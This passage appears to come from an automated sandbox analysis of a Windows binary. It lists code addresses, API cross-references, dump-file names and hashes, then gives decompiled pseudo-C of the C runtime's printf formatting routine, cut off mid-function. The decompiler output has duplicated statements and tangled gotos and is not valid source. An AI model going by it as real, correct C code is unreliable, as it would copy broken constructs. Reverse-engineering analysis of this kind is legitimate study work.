0x0041bef2
0x0041bef5
0x0041bef8
0x0041befc
0x0041befe
0x0041bf05
0x0041bf07
0x0041bf0b
0x0041bf13
0x0041bf19
0x0041bf2c
0x0041bf2c
0x0041bf2f
0x0041bf1b
0x0041bf1b
0x0041bf21
0x0041bf21
0x0041bf44
0x0041bf48
0x0041bf4d
0x0041bf4d
0x0041bf0b
0x0041bf05
0x0041be8e
0x0041be90
0x0041be93
0x0041be96
0x0041be9a
0x0041be9c
0x0041bea3
0x0041bea5
0x0041bea9
0x0041beb1
0x0041beb7
0x0041beca
0x0041beca
0x0041becd
0x0041beb9
0x0041beb9
0x0041bebf
0x0041bebf
0x0041bee4
0x0041bee8
0x0041beed
0x0041beed
0x0041bea9
0x0041bea3
0x0041bef0
0x00000000
0x0041bf50
0x0041bcde
0x0041bce4
0x0041bceb
0x0041bcf0
0x0041bcf3
0x0041bcf9
0x0041bd00
0x0041be4e
0x0041be54
0x0041be57
0x0041be62
0x0041be67
0x00000000
0x0041be67
0x0041bd06
0x0041bd06
0x0041bd0a
0x0041bd65
0x0041bd65
0x0041bd69
0x0041bd6b
0x0041be43
0x0041be46
0x0041be46
0x0041be49
0x0041be4c
0x00000000
0x0041be6c
0x0041bd71
0x0041bd71
0x0041bd75
0x0041bd83
0x0041bd87
0x0041bd89
0x0041be2d
0x0041be35
0x0041be3b
0x0041be3b
0x0041be3e
0x0041bd8f
0x0041bd95
0x0041bda3
0x0041bda8
0x0041bdab
0x0041bdad
0x0041bdb2
0x0041bdb2
0x0041bdb5
0x0041bdbc
0x0041bdc1
0x0041bdc4
0x0041bdc4
0x0041bdcf
0x0041bdd9
0x0041bdfe
0x0041be03
0x0041be09
0x0041be0d
0x0041be16
0x0041be1f
0x0041be1f
0x00000000
0x0041be41
0x0041bd77
0x0041bd77
0x00000000
0x0041bd77
0x0041bd0c
0x0041bd0c
0x0041bd10
0x0041bd2d
0x0041bd2d
0x0041bd31
0x00000000
0x00000000
0x0041bd37
0x0041bd3d
0x0041bd40
0x0041bd5d
0x0041bd5f
0x00000000
0x00000000
0x00000000
0x0041bd5f
0x0041bd12
0x0041bd12
0x0041bd19
0x0041bd24
0x0041bd24
0x0041bd2b
0x00000000
0x00000000
0x00000000
0x0041bd2b
0x0041bd1b
0x0041bd1b
0x0041bd22
0x00000000
0x00000000
0x00000000
0x0041bd22
0x0041bcc1
0x0041bc90

APIs

__un_inc.LIBCMTD ref: 0041BCAA
__inc.LIBCMTD ref: 0041BCEB

Strings

c, xrefs: 0041BF76
, xrefs: 0041BD24

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __inc__un_inc
String ID: $c
API String ID: 837022814-3797896886
Opcode ID: f75cf1b006a85872efdc1e26147a042f604f3982258a8882e22631e6a9d3b964
Instruction ID: 5d3a57c5962ee21862691cda6ff920bde4a85a552198337541ee9b93e86fa60d
Opcode Fuzzy Hash: f75cf1b006a85872efdc1e26147a042f604f3982258a8882e22631e6a9d3b964
Instruction Fuzzy Hash: 70F16C30D45219CBCF24CFA8D9846EEBB71EF48304F24829AD51967395D7399AC2CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00431554, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00431554(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E0042BCB0(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					__eflags =  *(__ecx + 4);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						__eflags =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							__eflags =  *(_t596 - 0x28);
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							__eflags =  *(_t596 - 0x10) & 0x00000040;
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								__eflags =  *(_t596 - 0x10) & 0x00000100;
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									__eflags =  *(_t596 - 0x10) & 0x00000001;
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										__eflags =  *(_t596 - 0x10) & 0x00000002;
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							__eflags =  *(_t596 - 0x10) & 0x0000000c;
							if(__eflags == 0) {
								E00432110(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E00432150( *(_t596 - 0x1c), __eflags, _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							__eflags =  *(_t596 - 0x10) & 0x00000008;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								__eflags =  *(_t596 - 0x10) & 0x00000004;
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E00432110(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							__eflags =  *(_t596 - 0xc);
							if(__eflags != 0) {
								L208:
								E00432150( *(_t596 - 0x24), __eflags,  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								__eflags =  *(_t596 - 0x24);
								if(__eflags <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									__eflags =  *(_t596 - 0x4b4);
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041B2D0(_t596 - 0x40);
									_t524 = E00425270(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									__eflags =  *(_t596 - 0x4b8);
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E004320B0( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								__eflags =  *(_t596 - 0x44c);
								if( *(_t596 - 0x44c) >= 0) {
									__eflags =  *(_t596 - 0x10) & 0x00000004;
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E00432110(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							__eflags =  *(_t596 - 0x20);
							if( *(_t596 - 0x20) != 0) {
								L0041DD40( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M004077B8) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x4077d8) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x4077d8) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									__eflags =  *(_t596 - 0x4e0) - 7;
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M00431FAC))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E004320B0( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x431fe4; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00431FCC))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43200c; // 0x18219003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00431FF8))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															__eflags =  *(_t596 - 0x28);
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													__eflags =  *(_t596 - 0x28);
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x432078; // 0x55ff8b0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043203C))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041D040( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041B2D0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push(__eax);
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x43e478; // 0x72b0f098
															_push(__edx);
															__imp__DecodePointer();
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	__eax = E0041B2D0(__ebp - 0x40);
																	_push(__eax);
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x43e484; // 0x58d0f098
																	_push(__edx);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041B2D0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43e480; // 0x5930f098
																	_push(__eax);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E0042BCB0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041B2D0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041B2D0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E00425270(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														__eflags =  *(_t596 - 0x28);
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E0042BCB0(__ebp + 0x14);
													__eax = E00432210();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															__eflags =  *(_t596 - 0x28);
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041AAF0();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
